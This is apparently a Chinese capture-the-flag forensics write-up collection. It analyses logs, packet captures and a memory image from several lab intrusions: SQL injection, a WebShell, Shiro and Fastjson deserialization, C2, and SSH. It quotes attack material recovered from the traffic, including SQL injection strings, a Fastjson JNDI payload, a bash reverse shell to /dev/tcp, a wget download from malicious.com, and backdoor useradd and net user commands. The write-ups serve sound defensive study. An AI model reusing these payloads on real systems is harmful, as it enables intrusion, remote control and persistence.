封面是B站up:你们这谁叫插歪的图
被入侵的数据库

题目信息
2026 年 2 月初,某科技企业互联网资产监控平台报警,业务系统疑似遭入侵,数据库等敏感信息泄露。已提取 Web 中间件访问日志 access.log,要求分析攻击者入侵的数据库名称,并按 flag{数据库名称} 格式提交。
解题思路
这类题的核心是从海量访问日志中筛出真正的攻击流量。先整体观察日志,可以发现前半部分大多是常见扫描、爬虫访问、弱口令探测和漏洞探针,请求路径杂乱,很多返回 404,属于噪声。
继续向后分析时,发现一组非常关键的请求集中访问 /test/login.php,并且参数中带有明显的 SQL 注入语句,例如:
ORDER BYUNION ALL SELECTSLEEP(5)EXTRACTVALUE(...)DATABASE()INFORMATION_SCHEMA.TABLES
这说明攻击者已经定位到 /test/login.php 为可利用点,并开始使用自动化工具对其进行 SQL 注入探测和数据枚举。
关键攻击链
1. 确认注入点
日志中多次出现针对 /test/login.php 的注入测试,例如:
/test/login.php?username=tIfX' ORDER BY 1-- -&password=EGJr/test/login.php?username=tIfX' UNION ALL SELECT ...-- -&password=EGJr这说明攻击者在 username 参数位置进行 SQL 注入。
2. 获取当前数据库名
在日志第 3603 行附近,可以看到攻击者直接调用了 DATABASE():
GET /test/login.php?username=LxBV' UNION ALL SELECT NULL,CONCAT(0x7178766b71,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x71626b7871),NULL,NULL-- -&password=xcOn这一步说明攻击者正在读取当前连接数据库名。
3. 枚举目标库中的表
随后在第 3608 行,攻击者开始枚举 INFORMATION_SCHEMA.TABLES,并指定 table_schema:
GET /test/login.php?username=vRiv' UNION ALL SELECT NULL,CONCAT(0x7178766b71,JSON_ARRAYAGG(CONCAT_WS(0x77736e786561,table_name)),0x71626b7871),NULL,NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x6c6f67696e5f6462)-- -&password=cZSY其中十六进制字符串:
0x6c6f67696e5f6462解码后为:
login_db4. 进一步验证
后续日志继续直接查询该库中的表,进一步坐实数据库名:
FROM login_db.secretFROM login_db.users对应日志包括:
- 第 3615 行:查询
login_db.secret - 第 3619 行:查询
login_db.users
这说明攻击者已经成功进入并枚举 login_db 数据库中的敏感表。
关键证据位置
关键日志位于 access.log 的以下位置:
- 3603 行:利用
DATABASE()获取当前数据库名 - 3608 行:枚举
INFORMATION_SCHEMA.TABLES,出现十六进制库名0x6c6f67696e5f6462 - 3615 行:直接访问
login_db.secret - 3619 行:直接访问
login_db.users
结论
攻击者入侵并操作的数据库名称为:
login_db因此最终提交的 flag 为:
flag{login_db}系统后门用户分析

Summary
本题给出 流量分析.pcapng,需要从攻击流量中还原攻击者的 WebShell 操作,并定位其添加的 Windows 后门用户。核心思路是重组 HTTP 流量,提取 WebShell 加密参数,再解码后续命令执行记录。
Solution
Step 1: 定位 WebShell 上传行为
流量主要集中在:
192.168.1.100 -> 192.168.1.200:8022前期存在目录扫描和敏感文件探测,例如:
GET /../../../../etc/passwdGET /.htpasswdGET /.bash_history继续查看 POST 请求,可以发现攻击者向 /upload.php 上传了 PHP WebShell:
filename="w.php"WebShell 中暴露了后续通信的关键参数:
$pass='gg';$payloadName='payload';$key='3c6e0b8a9c15224a';因此后续参数名为 gg,数据解码流程为:
URL decode -> base64 decode -> XOR(key) -> gzip decompressStep 2: 解密 WebShell 交互流量
下面脚本会从 pcapng 中提取 HTTP POST 请求,按照 WebShell 的编码逻辑解密参数 gg,并搜索添加用户的命令:
from pathlib import Pathimport base64import gzipimport reimport urllib.parse
from scapy.all import IP, TCP, Raw, rdpcap
PCAP = next(Path(".").glob("*.pcapng"))KEY = b"3c6e0b8a9c15224a"
def xor_decode(data: bytes) -> bytes: out = bytearray(data) for i in range(len(out)): out[i] ^= KEY[(i + 1) & 15] return bytes(out)
def decode_gg(value: str) -> bytes: raw = base64.b64decode(value.encode() + b"=" * ((4 - len(value) % 4) % 4)) data = xor_decode(raw) if data.startswith(b"\x1f\x8b"): data = gzip.decompress(data) return data
def reassemble(segments): out = bytearray() cur = None seen = set() for seq, data in sorted(segments): sig = (seq, len(data), data[:16]) if sig in seen: continue seen.add(sig) if cur is None: cur = seq if seq < cur: overlap = cur - seq if overlap >= len(data): continue data = data[overlap:] out.extend(data) cur = seq + len(data) return bytes(out)
packets = rdpcap(str(PCAP))streams = {}
for pkt in packets: if IP in pkt and TCP in pkt and Raw in pkt: tcp = pkt[TCP] if tcp.sport == 8022 or tcp.dport == 8022: key = (pkt[IP].src, tcp.sport, pkt[IP].dst, tcp.dport) streams.setdefault(key, []).append((tcp.seq, bytes(pkt[Raw].load)))
request_start = re.compile(rb"(GET|POST) ([^ ]+) HTTP/1\.[01]\r\n")
for stream_key, segments in streams.items(): if stream_key[3] != 8022: continue
data = reassemble(segments) starts = list(request_start.finditer(data))
for i, match in enumerate(starts): if match.group(1) != b"POST": continue
end = starts[i + 1].start() if i + 1 < len(starts) else len(data) block = data[match.start():end] header_end = block.find(b"\r\n\r\n") if header_end < 0: continue
body = block[header_end + 4 :] params = urllib.parse.parse_qs(body.decode("latin1", "replace")) if "gg" not in params: continue
decoded = decode_gg(params["gg"][0]) text = decoded.decode("utf-8", "replace")
hit = re.search(r"net user\s+([^\s]+)\s+/add", text, re.IGNORECASE) if hit: username = hit.group(1) print(f"flag{{{username}}}") raise SystemExit运行后可以得到关键命令:
cmd /c "cd /d "E:/system/phpstudy_pro/WWW/uploads/"&net user hacker-gg /add" 2>&1这说明攻击者添加的后门用户为:
hacker-gg之后攻击者再次执行 net user,返回用户列表中已经出现:
AdministratorayyDefaultAccountGuesthacker-ggWDAGUtilityAccountStep 3: 确认结果
net user hacker-gg /add 是 Windows 本地用户添加命令,后续用户列表也验证了该账户已经存在。因此后门用户名称确定为 hacker-gg。
Flag
flag{hacker-gg}Shiro 攻击流量分析

Summary
这道题给了一份攻击流量包,并额外告诉我们目标系统使用了组件默认密钥:
90F1FE6C8C64E43D9D799888C5C69A68同时题目还提示:
前 32 位十六进制位为 IV这两个条件组合在一起,基本可以直接联想到 Apache Shiro 的 rememberMe 反序列化利用。Shiro 在某些版本和配置下,会把序列化对象加密后放进 rememberMe Cookie 中;如果服务端使用默认密钥,那么攻击者就可以构造恶意序列化数据,借助 rememberMe 触发反序列化执行。
所以这题的核心并不是单纯“看 HTTP 请求里有什么”,而是:
- 从 pcapng 中找到可疑的
rememberMeCookie。 - 使用题目给出的默认密钥进行 AES 解密。
- 从解密后的 Java 序列化对象中提取真正被利用的恶意类名。
- 区分“初始利用类”和“后续加载的内存马类”,避免答错。
最终可以确认,题目要求的恶意类名称是:
Test105692713192100最终 flag 为:
flag{Test105692713192100}背景判断
1. 为什么怀疑是 Shiro
流量中存在大量对 192.168.103.253:8089 的 HTTP 请求,请求头中带有:
Cookie: rememberMe=...rememberMe 本身就是 Shiro 非常有标志性的字段。再结合题目给出的 16 字节默认 key,可以很自然地判断出这是 Shiro rememberMe 利用题。
2. 为什么提示里的 IV 很关键
Shiro 的 rememberMe Cookie 常见格式是:
Base64( IV || Ciphertext )也就是说:
- 先对 Cookie 做 Base64 解码。
- 前 16 字节作为 AES-CBC 的 IV。
- 剩下的部分才是真正的密文。
题目提示“前 32 位十六进制位为 IV”,本质上就是在告诉我们:
前 16 字节 = IV这一步如果理解错,后面的解密结果就会完全不对。
流量观察
在这份流量里,可以看到攻击者不是一上来就成功,而是先发了多轮 rememberMe 请求。前面很多请求虽然也带有较长的 Cookie,但用题目给出的 key 解出来都不对,说明攻击者大概率在尝试不同 key,或者在做利用前的探测。
后面开始出现能成功解密的 payload,请求方向主要是:
192.168.103.251 -> 192.168.103.253:8089解密成功后,序列化对象里出现了这些非常关键的字符串:
java.util.PriorityQueueorg.apache.commons.beanutils.BeanComparatorcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这说明攻击者使用的是典型的 Java 反序列化利用链,借助 TemplatesImpl 在反序列化过程中加载恶意字节码。
这里需要特别注意:
TemplatesImpl 本身不是我们要交的恶意类名。它只是利用链中的一个关键载体,真正的恶意代码会以内嵌 class 字节码的方式藏在序列化数据里。
Wireshark 复现过程
这一部分按照 Wireshark 实际操作流程来写,目标是让读者不用先跑脚本,也能先在流量包中确认攻击链,再把关键 Cookie 提取出来做解密。
Step 1: 先看目标站点的 HTTP 流量
打开流量包后,先使用下面的显示过滤器:

ip.addr == 192.168.103.253 && tcp.port == 8089这样可以把无关的外连流量先排掉,只保留和目标主机 192.168.103.253:8089 的通信。
如果这里没有正常识别为 HTTP,可以手动做一次 Decode As:
- 选中任意一个
8089端口的包。 - 右键
Decode As... - 选择
TCP Port - 把
8089解码成HTTP
完成后再观察这些请求,就能看到它们是标准的 HTTP 报文。
Step 2: 确认攻击字段是 rememberMe
继续使用下面的过滤器:

http.request && ip.dst == 192.168.103.253 && tcp.dstport == 8089 && http.cookie contains "rememberMe"这一步可以直接把带有 rememberMe Cookie 的 HTTP 请求筛出来。
最前面的两条关键流量是:
frame 1:GET / HTTP/1.1frame 3:GET /login;jsessionid=... HTTP/1.1
展开 Hypertext Transfer Protocol 后,可以看到它们的 Cookie 都是:
rememberMe=1这里说明目标站点确实在处理 rememberMe,也进一步支持了这是 Shiro 题目的判断。
Step 3: 找到真正的攻击 payload
继续沿着上面的过滤结果往下看,会发现从 frame 7 开始,rememberMe 的值不再是简单的 1,而变成了很长的一串 Base64 字符串。
![]()

例如:
frame 7frame 9frame 13frame 15- …
- 一直到
frame 163
这些就是攻击者不断尝试的利用 payload。
这一阶段只靠 Wireshark 还看不出哪个 payload 真正成功了,所以需要继续找服务端返回的“执行成功”证据。
Step 4: 找到第一次成功执行的证据
使用过滤器:
http contains "techo"可以命中一个非常关键的响应包:
frame 120
查看这个包的 HTTP 响应内容,可以看到:

techo: f25a2fc72690b780b2a14e140ef6a9e0这说明攻击者的 payload 已经在服务端执行成功,不再只是失败的探测流量。
接下来要反推:是哪一个请求触发了这个响应。
Step 5: 锁定第一次成功攻击对应的请求
观察 frame 120 的 TCP 会话,可知这是一条服务端端口为 8089、客户端端口为 61603 的连接。
此时使用过滤器:
tcp.port == 61603 && ip.addr == 192.168.103.253会把这一条会话单独筛出来,其中关键的两个包是:
frame 115:GET / HTTP/1.1frame 120:HTTP/1.1 302
其中 frame 120 带有 techo: ...,所以可以确认:
frame 115 是第一次成功触发执行的 rememberMe 请求这一步非常重要,因为它直接决定了后面应该取哪一个 Cookie 去解密。
Step 6: 在 Wireshark 中提取第一次成功利用的 rememberMe
现在选中 frame 115,有两种查看方式都可以:
-
展开
Hypertext Transfer Protocol,直接看Cookie: rememberMe=... -
右键该包,选择
Follow->HTTP Stream
在 HTTP Stream 里可以非常直观地看到完整请求头,其中包含一条超长的 Cookie:

Cookie: rememberMe=BSTAxygllliVm7k1w5tK4HPI...这一步的目的不是在 Wireshark 里完成解密,而是:
把第一次成功攻击对应的 rememberMe 值准确提取出来后面就可以把这个值复制出去,用脚本做 Base64 解码和 AES 解密。
Step 7: 观察攻击者已经拿到命令回显
除了 frame 120 的测试性回显外,还能在后续流量里看到更明显的命令执行结果。
使用过滤器:
tcp.port == 61607 && ip.addr == 192.168.103.253会看到:
frame 129:请求frame 134:响应
查看 frame 134 的响应体,会看到一大段 Base64 内容,例如:
$$$cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA...这通常是攻击者把命令执行结果再编码后回传,说明此时已经具备了稳定的远程执行能力。
Step 8: 找到二阶段 POST 注入行为
接下来再看后面的 POST 请求。使用过滤器:
http.request.method == "POST" && ip.dst == 192.168.103.253 && tcp.dstport == 8089可以看到两个关键请求:
frame 137frame 163
选中其中任意一个,展开 HTTP 请求体,可以看到参数:
dy=...如果想更直接地筛出这类请求,也可以使用:
http contains "dy="这说明攻击者在初始利用成功后,又通过 POST 请求下发了新的二阶段 payload。
Step 9: 确认二阶段 payload 是 Filter 内存马
为了看二阶段 payload 的执行结果,使用过滤器:
http contains "Filter already exists" || http contains "Success"可以命中两个关键响应:
frame 151:->|Filter already exists|<-frame 177:->|Success|<-

如果分别看这两条会话:
第一次 POST 会话:
tcp.port == 61609 && ip.addr == 192.168.103.253会看到:
frame 137:POST 请求frame 151:返回Filter already exists
第二次 POST 会话:
tcp.port == 61616 && ip.addr == 192.168.103.253会看到:
frame 163:POST 请求frame 177:返回Success
这些字符串非常像典型的 Filter 型内存马注入结果,也和后续脚本里解析出的 GodzillaFilter 完全对应。
Step 10: 用 Wireshark 得到的结论反推正确答案
单靠 Wireshark,我们已经能够确认以下事实:
- 攻击入口是
rememberMeCookie。 - 第一次明确成功执行的请求是
frame 115。 - 后面的 POST 请求属于二阶段注入行为。
Filter already exists和Success对应的是后续内存马注入,而不是最初的利用类。
因此,在做脚本解密时,应该优先取:
frame 115 对应的 rememberMe而不是去取后续 POST 里的 dy 参数作为题目答案。
分析思路
为了避免只凭肉眼猜测,最稳妥的方法是写脚本自动做下面几件事:
- 读取 pcapng。
- 按 TCP 四元组重组 HTTP 流。
- 从请求里提取
rememberMe值。 - 对每个值做 Base64 解码。
- 取前 16 字节作为 IV,用题目给的 key 做 AES-CBC 解密。
- 去掉 PKCS#7 padding。
- 如果解密后的数据中存在 Java class 魔数
CAFEBABE,就继续解析 class 文件常量池。 - 取
this_class对应的类名,得到真正的恶意类。
这样分析的好处是结论可复现,也不容易把后续二阶段 payload 和初始攻击 payload 混在一起。
解题脚本
下面是一份完整的求解脚本。它会直接从当前目录下的 *.pcapng 文件中提取出首次成功攻击使用的恶意类名,并打印最终 flag。
from scapy.all import rdpcap, TCP, IP, Rawfrom collections import defaultdictfrom pathlib import Pathimport reimport base64import structfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpad
AES_KEY = bytes.fromhex("90F1FE6C8C64E43D9D799888C5C69A68")
def reassemble(parts): parts = sorted(parts) base = parts[0][0] buf = bytearray()
for seq, data, pkt_no in parts: off = seq - base
if off < 0: data = data[-off:] off = 0
if off > len(buf): buf.extend(b"\x00" * (off - len(buf)))
overlap = len(buf) - off
if overlap <= 0: buf.extend(data) elif overlap < len(data): buf.extend(data[overlap:])
return bytes(buf)
def parse_class_name(data, off): p = off assert data[p:p + 4] == b"\xca\xfe\xba\xbe" p += 4
minor, major, cp_count = struct.unpack(">HHH", data[p:p + 6]) p += 6
cp = [None] * cp_count i = 1
while i < cp_count: tag = data[p] p += 1
if tag == 1: length = struct.unpack(">H", data[p:p + 2])[0] p += 2 cp[i] = ("Utf8", data[p:p + length].decode("utf-8", "replace")) p += length elif tag == 7: cp[i] = ("Class", struct.unpack(">H", data[p:p + 2])[0]) p += 2 elif tag in (8, 16, 19, 20): p += 2 elif tag in (3, 4, 9, 10, 11, 12, 17, 18): p += 4 elif tag in (5, 6): p += 8 i += 1 elif tag == 15: p += 3 else: raise ValueError(f"unknown constant pool tag: {tag}")
i += 1
access_flags, this_class, super_class = struct.unpack(">HHH", data[p:p + 6]) name_index = cp[this_class][1] return cp[name_index][1]
pcap = next(Path(".").glob("*.pcapng"))packets = rdpcap(str(pcap))
flows = defaultdict(list)
for pkt_no, pkt in enumerate(packets, 1): if IP in pkt and TCP in pkt and Raw in pkt: ip = pkt[IP] tcp = pkt[TCP] key = (ip.src, tcp.sport, ip.dst, tcp.dport) flows[key].append((int(tcp.seq), bytes(pkt[Raw].load), pkt_no))
hits = []
for flow, parts in flows.items(): data = reassemble(parts)
if b"rememberMe=" not in data: continue
text = data.decode("latin1", "replace") match = re.search(r"rememberMe=([^;\r\n ]+)", text)
if not match: continue
cookie = match.group(1)
if cookie in ("1", "deleteMe") or len(cookie) < 100: continue
try: raw = base64.b64decode(cookie + "=" * ((4 - len(cookie) % 4) % 4)) iv = raw[:16] ciphertext = raw[16:] plaintext = AES.new(AES_KEY, AES.MODE_CBC, iv).decrypt(ciphertext) plaintext = unpad(plaintext, 16) except Exception: continue
class_off = plaintext.find(b"\xca\xfe\xba\xbe")
if class_off == -1: continue
class_name = parse_class_name(plaintext, class_off) first_pkt = min(item[2] for item in parts) hits.append((first_pkt, flow, class_name))
hits.sort(key=lambda x: x[0])
for first_pkt, flow, class_name in hits: print(first_pkt, flow, class_name)
first_attack_class = hits[0][2].split("/")[-1]print(f"flag{{{first_attack_class}}}")脚本输出结果
运行后可得到如下关键输出:
115 ('192.168.103.251', 61603, '192.168.103.253', 8089) x/Test105692713192100121 ('192.168.103.251', 61604, '192.168.103.253', 8089) x/Test105692713192100129 ('192.168.103.251', 61607, '192.168.103.253', 8089) x/Test105692713192100137 ('192.168.103.251', 61609, '192.168.103.253', 8089) x/Test105714876940900163 ('192.168.103.251', 61616, '192.168.103.253', 8089) x/Test105733260460900flag{Test105692713192100}这里可以看出,成功解密并解析出类名的 payload 一共有三组,分别对应:
Test105692713192100Test105714876940900Test105733260460900其中最早成功触发攻击的是:
x/Test105692713192100由于题目问的是“攻击者攻击时用的恶意类的名称”,通常应当取首次成功攻击时的恶意类名,也就是:
Test105692713192100为什么不是 GodzillaFilter
这是这题最容易出错的地方,我单独解释一下。
在后续流量中,攻击者又发起了 POST 请求,请求体里存在参数 dy。这个参数经过 URL 解码和 Base64 解码后,可以还原出另一个 class 文件,其类名为:
x/GodzillaFilter并且这个 class 里还能看到一些非常典型的内存马相关字符串:
addFilterdoFilterFilter already existsSuccess从这些特征可以判断,GodzillaFilter 是攻击成功后注入到目标应用中的二阶段 Filter 内存马。
也就是说,整个攻击过程实际上分成两层:
- 第一层:利用 Shiro
rememberMe反序列化,触发TemplatesImpl加载恶意字节码。 - 第二层:在成功利用后,再通过后续请求把
GodzillaFilter这样的内存马类注入进去。
题目给出的线索完全围绕 Shiro 默认 key 和 IV 展开,因此更合理的理解是:
题目要找的是第一层攻击中,放在 rememberMe 恶意序列化数据里的类名,而不是第二层加载进去的内存马类。
所以正确答案不是:
GodzillaFilter而是:
Test105692713192100攻击链还原
把整条链路串起来,流程大致如下:
- 攻击者不断向目标站点发送带有
rememberMe的请求。 - 前期 payload 多次失败,说明攻击者在做探测或尝试不同利用方式。
- 后期某个
rememberMepayload 能够被题目给定 key 正确解密。 - 解密结果显示其内部是一个 Java 反序列化利用链,核心载体是
TemplatesImpl。 TemplatesImpl携带的恶意 class 首次成功出现时,类名为x/Test105692713192100。- 攻击者在拿到初始执行能力后,又通过 POST 参数下发
x/GodzillaFilter,完成二阶段内存马注入。 - 因题目要求的是攻击时使用的恶意类名,所以应答第一阶段 payload 中的类名。
Flag
flag{Test105692713192100}远程命令执行

摘要
题目给出一份 流量分析.pcapng,背景是某重点单位网络安全设备告警,核心服务器疑似被攻击者拿下。流量中可以还原出一条比较完整的攻击路径:攻击者向本地 Java Web 服务提交恶意 JSON,触发 JdbcRowSetImpl 访问 LDAP,LDAP 返回序列化 gadget,最终执行反弹 shell,并在 shell 中添加后门用户。
本次分析可以确认:
- 攻击入口:JSON 反序列化/AutoType 风格 payload。
- 关键类:
com.sun.rowset.JdbcRowSetImpl。 - LDAP 资源路径:
Deserialize/Fastjson1/Command/...。 - 命令执行:反弹到
192.168.203.71:4444。 - 后门用户:
hacker-007。
但截至本文整理时,多个可能的 flag 均未被平台接受,因此最后保留未解出的 flag 格式问题。
环境与工具
分析环境:
Windows + Python 3.10scapyCTF-NetA使用 scapy 直接解析 pcapng 并按 TCP 流重组 payload。
流量概览
pcap 中与攻击相关的主要会话如下:
| 方向 | 协议/端口 | 作用 |
|---|---|---|
192.168.203.71:50450 -> 192.168.203.71:8090 | HTTP | 恶意 JSON 请求 |
192.168.203.74:1389 -> 192.168.203.71:50451 | LDAP | 返回 Java 序列化 payload |
192.168.203.71:50452 -> 192.168.203.71:4444 | TCP shell | 反弹 shell 输出 |
192.168.203.71:4444 -> 192.168.203.71:50452 | TCP shell | 攻击者输入命令 |
核心服务运行在 192.168.203.71:8090,LDAP 服务器是 192.168.203.74:1389,反弹 shell 监听端口是 4444。
复现脚本
下面脚本会从 pcapng 中提取 HTTP 请求、LDAP 中的命令载荷,以及反弹 shell 中的交互命令。
from pathlib import Pathfrom collections import defaultdictimport base64import re
from scapy.all import IP, TCP, Raw, rdpcap
def b64decode_padded(value: bytes) -> bytes: value = value.strip().rstrip(b"0") value += b"=" * ((4 - len(value) % 4) % 4) return base64.b64decode(value)
pcap = next(Path(".").glob("*.pcapng"))packets = rdpcap(str(pcap))
streams = defaultdict(list)
for index, pkt in enumerate(packets, 1): if IP in pkt and TCP in pkt and Raw in pkt: left = (pkt[IP].src, pkt[TCP].sport) right = (pkt[IP].dst, pkt[TCP].dport) key = tuple(sorted([left, right])) streams[key].append((index, left, right, bytes(pkt[Raw].load)))
for key, segments in streams.items(): blob = b"".join(data for _, _, _, data in segments)
if b"POST / HTTP/1.1" in blob or b"JdbcRowSetImpl" in blob: print("\n[HTTP exploit stream]", key) print(blob.decode("utf-8", errors="replace"))
if b"Deserialize/Fastjson1/Command/" in blob: print("\n[LDAP payload stream]", key) match = re.search(rb"Command/([A-Za-z0-9+/=]+)", blob) if match: command = b64decode_padded(match.group(1)) print(command.decode("utf-8", errors="replace"))
inner = re.search(rb"echo,([^}]+)", command) if inner: real_command = b64decode_padded(inner.group(1)) print(real_command.decode("utf-8", errors="replace"))
if any(port == 4444 for endpoint in key for port in endpoint[1:]): print("\n[shell stream]", key) for index, left, right, data in segments: print(index, left, "->", right, repr(data))预期可以看到三类关键输出:

"@type":"com.sun.rowset.JdbcRowSetImpl""dataSourceName":"ldap://192.168.203.74:1389/Deserialize/Fastjson1/Command/..."
bash -c {echo,...}|{base64,-d}|{bash,-i}bash -i >& /dev/tcp/192.168.203.71/4444 0>&1
useradd hacker-007关键证据
1. 恶意 JSON 触发 JNDI
HTTP 请求体中出现了典型的 Fastjson AutoType/JNDI 利用形态:
{ "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.203.74:1389/Deserialize/Fastjson1/Command/YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzh4T1RJdU1UWTRMakl3TXk0M01TODBORFEwSURBK0pqRT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQ==", "autoCommit": true }}其中 @type 指定了 com.sun.rowset.JdbcRowSetImpl,dataSourceName 指向 LDAP 地址。这个类在 Fastjson 反序列化漏洞利用链中经常用于触发 JNDI lookup。
从流量自身能确认的是:
Deserialize/Fastjson1/Command/...map.jndi.gadget.Fastjson1com.alibaba.fastjson.JSONArraycom.sun.rowset.JdbcRowSetImpl因此,攻击组件可以描述为 Fastjson 反序列化组件,具体利用类为 JdbcRowSetImpl。
2. LDAP 返回序列化 payload
LDAP 响应中包含 Java 序列化数据:
javaSerializedDatacom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpljavax.management.BadAttributeValueExpExceptioncom.alibaba.fastjson.JSONArray这说明攻击者不是只做了普通探测,而是让目标从 LDAP 获取了可执行 gadget 数据。TemplatesImpl 与 BadAttributeValueExpException 均是 Java 反序列化利用中常见的 gadget 关键字。
3. 命令解码
LDAP 路径中 Command/ 后面的 Base64 解码后为:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMy43MS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}内层 Base64 再解码得到真正执行的命令:
bash -i >& /dev/tcp/192.168.203.71/4444 0>&1这是一条 Bash 反弹 shell 命令,目标地址为 192.168.203.71,端口为 4444。
4. 反弹 shell 与后门用户
随后出现了 4444 端口上的 shell 交互:
bash: cannot set terminal process group (1): Inappropriate ioctl for devicebash: no job control in this shellroot@6ac840e194c7:/#攻击者随后输入:
useradd hacker-007服务端回显中也能看到命令被拆包返回:
useradd hacker-007因此,后门用户名可以确定为:
hacker-007关于 Fastjson 版本
从 payload 形态看,它高度符合 Fastjson 1.2.24 时代的 AutoType/JNDI 利用方式:使用 @type 指向 com.sun.rowset.JdbcRowSetImpl,再通过 dataSourceName 触发 LDAP/JNDI。
不过需要注意:pcap 中没有直接泄露目标服务的依赖清单、Maven 版本或 jar 文件名,所以 1.2.24 是基于利用链特征的推断,不是流量中直接出现的明文版本号。
候选 Flag 与失败记录
题目要求:
flag字母小写。用:分割。如:flag{shiro:user}基于证据,曾尝试或推导过以下候选:
flag{fastjson:hacker-007}flag{fastjson1:hacker-007}flag{jdbcrowsetimpl:hacker-007}flag{com.sun.rowset.jdbcrowsetimpl:hacker-007}flag{fastjson1.2.24:hacker-007}这些候选均不正确。
目前能确定的是后半部分 hacker-007 证据非常充分;主要不确定点集中在前半部分,也就是题目所谓“哪个 java 组件”的判定口径。它可能要求的是:
- 漏洞库名:
fastjson - 利用链标签:
fastjson1 - 具体触发类:
jdbcrowsetimpl - 全限定类名:
com.sun.rowset.jdbcrowsetimpl - 版本化漏洞名:
fastjson1.2.24 - 或者平台另有非流量明文中的标准答案
结论
本题流量可以还原出如下攻击路径:
- 攻击者向
192.168.203.71:8090发送恶意 JSON。 - JSON 中通过
@type指定com.sun.rowset.JdbcRowSetImpl。 - 目标访问
ldap://192.168.203.74:1389/Deserialize/Fastjson1/Command/...。 - LDAP 返回 Java 序列化 payload,其中包含
TemplatesImpl等 gadget。 - payload 执行 Bash 反弹 shell:
bash -i >& /dev/tcp/192.168.203.71/4444 0>&1- 攻击者在 shell 中添加后门用户:
useradd hacker-007最终可确认的调查结论是:
Java 组件/利用链:Fastjson / JdbcRowSetImpl JNDI 利用链推测版本:Fastjson 1.2.24后门用户:hacker-007但最终 flag 仍未通过验证。本文保留所有证据与失败候选,供后续继续核对题目预期答案或平台格式。
C2远控

Summary
题目提供 Windows 内存镜像 mem.raw 与 Volatility 3 工具 vol.exe。通过内存网络连接扫描定位 C2 外联地址,再结合进程命令行与模块列表还原木马落地路径。
Solution
Step 1: 附件识别
工作目录包含:
| 文件 | 说明 |
|---|---|
mem.raw | 2 GB 物理内存镜像 |
vol.exe | Volatility 3 Framework 2.27.0 |
题目要求输出格式为 flag{外联地址:木马路径},例如 flag{127.0.0.1:C:\Windows\exec.exe}。
Step 2: 网络连接扫描
使用 windows.netscan 枚举内存中的 TCP/UDP 连接,筛选异常外联:
.\vol.exe -f mem.raw windows.netscan关键命中(节选):
ForeignAddr ForeignPort State PID Owner192.168.103.250 8080 ESTABLISHED 708 agent.x64.e进程 agent.x64.e(PID 708)与内网地址 192.168.103.250:8080 存在 ESTABLISHED 连接,符合 C2 Beacon 特征。同一份输出中还存在 iexplore.exe、cmd.exe 等正常/可疑连接,但名称与 C2 代理特征最吻合的是 agent.x64.e。
Step 3: 还原木马路径
针对 PID 708 分别提取进程信息、命令行与加载模块:
.\vol.exe -f mem.raw windows.pslist --pid 708.\vol.exe -f mem.raw windows.cmdline --pid 708.\vol.exe -f mem.raw windows.dlllist --pid 708输出摘要:
# pslistPID PPID ImageFileName CreateTime708 2144 agent.x64.e 2026-04-15 06:01:45 UTC
# cmdline708 agent.x64.e "C:\Users\win7\Downloads\agent.x64.exe"
# dlllist (主模块)Path: C:\Users\win7\Downloads\agent.x64.exe父进程 PPID 2144 为 explorer.exe,说明木马由用户从下载目录手动/诱导执行。
Step 4: 证据链汇总
| 维度 | 证据 |
|---|---|
| C2 外联 | 192.168.103.250(端口 8080,ESTABLISHED) |
| 恶意进程 | agent.x64.e / PID 708 |
| 木马路径 | C:\Users\win7\Downloads\agent.x64.exe |
| 启动方式 | 命令行直接执行下载目录下的 agent |
按题目要求用冒号拼接外联 IP 与木马绝对路径。
Flag
flag{192.168.103.250:C:\Users\win7\Downloads\agent.x64.exe}工具与备注
- Volatility 3 2.27.0(
vol.exe) - 首次分析若加
--offline且本地无符号,需联网下载ntkrnlmp.pdb;符号缓存目录为symbols/windows/ - 并行跑多个 vol 插件可能触发符号文件锁冲突,建议顺序执行
深夜的异常登录

Summary
分析合并日志 combined.log(含 SSH 认证、UFW 防火墙、Linux 审计日志),从大量爆破噪声中定位真实攻击会话,解码十六进制混淆命令,提取攻击者 IP、恶意脚本名与 chmod 权限,按 flag{IP_脚本名_权限} 格式提交。
Solution
Step 1: 定位审计日志中的混淆命令
日志前 15000 行主要为 SSH 爆破噪声。直接检索审计与防火墙关键字:
grep -E "audit\[|UFW ALLOW|Accepted password" combined.log | tail -100在 02:02:05 附近发现攻击链:
audit[12347]: a0="id"audit[12348]: a0="exit"audit[12349]: a0="echo" a1="77676574..."audit[12350]: a0="sh" a1="-c" a2="echo '77676574...' | xxd -p -r | bash"audit[12351]: a0="whoami"攻击者使用 echo <hex> | xxd -p -r | bash 隐藏真实命令。
Step 2: 解码 payload 并关联真实 IP
全文件仅有一条 UFW 放行记录,可与 SSH 成功登录按源 IP + 源端口闭环。以下脚本从 combined.log 直接解出 flag:
import refrom pathlib import Path
log = Path("combined.log").read_text(encoding="utf-8", errors="ignore")
# 解码审计日志中的 hex 混淆命令hex_payload = re.search(r'a1="([0-9a-f]+)"', log).group(1)cmd = bytes.fromhex(hex_payload).decode()print("[*] Decoded:", cmd)
script = re.search(r'/([^/\s]+\.sh)', cmd).group(1)perm = re.search(r'chmod\s+(\d+)', cmd).group(1)
# 防火墙 SRC/SPT 与 SSH Accepted 记录交叉验证ufw = re.search(r'SRC=(\S+).*SPT=(\d+).*DPT=22', log)fw_ip, fw_port = ufw.group(1), ufw.group(2)assert re.search( rf'Accepted password for admin from {re.escape(fw_ip)} port {fw_port}', log,)
flag = f"flag{{{fw_ip}_{script}_{perm}}}"print("[+]", flag)运行输出:
[*] Decoded: wget http://malicious.com/update.sh -O /tmp/update.sh && chmod 755 /tmp/update.sh[+] flag{203.0.113.88_update.sh_755}关键证据:
| 时间 | 日志 | 含义 |
|---|---|---|
| 02:01:03 | UFW ALLOW SRC=203.0.113.88 SPT=52341 DPT=22 | 防火墙记录真实入站连接 |
